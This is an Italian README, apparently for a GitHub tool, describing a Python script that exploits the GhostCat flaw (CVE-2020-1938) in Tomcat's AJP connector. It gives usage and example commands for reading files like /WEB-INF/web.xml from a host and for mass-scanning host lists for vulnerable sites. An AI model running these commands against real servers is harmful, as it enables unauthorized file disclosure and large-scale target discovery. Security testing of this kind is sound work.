CVE-2020-1938-Tool

Ringrazio innanzitutto hypn0s per lo strumento di costruzione di richieste del protocollo AJP AJPY (una libreria Python), sulla base del quale questo progetto implementa il rilevamento in batch dei siti vulnerabili a GhostCat.

Utilizzo

Al momento sono disponibili due funzionalità:

usage: tomcat.py [-h] {read_file,scan_files} ...

positional arguments:
  {read_file,scan_files}
    read_file           Exploit CVE-2020-1938
    scan_files          scan a file list

optional arguments:
  -h, --help            show this help message and exit

1. Lettura file

usage: tomcat.py read_file [-h] [-H HOST] [-p PORT] [--webapp WEBAPP]
                           [-f FILE]

optional arguments:
  -h, --help            show this help message and exit
  -H HOST, --host HOST  The host to check
  -p PORT, --port PORT  The port of AJP connector(default is 8009)
  --webapp WEBAPP       webapp
  -f FILE, --file FILE  The relative path of file to read

python3 tomcat.py read_file -H 127.0.0.1 --webapp manager -f /WEB-INF/web.xml

2. Scansione di tutti i siti in un file

usage: tomcat.py scan_files [-h] [-f FILE] [-t THREADS] [-o OUT]

optional arguments:
  -h, --help            show this help message and exit
  -f FILE, --file FILE  Host list(only one url in a line)
  -t THREADS, --threads THREADS
  -o OUT, --out OUT     output the vulnerable host to file

python3 tomcat.py scan_files -t 5 -f host_files.txt -o result.txt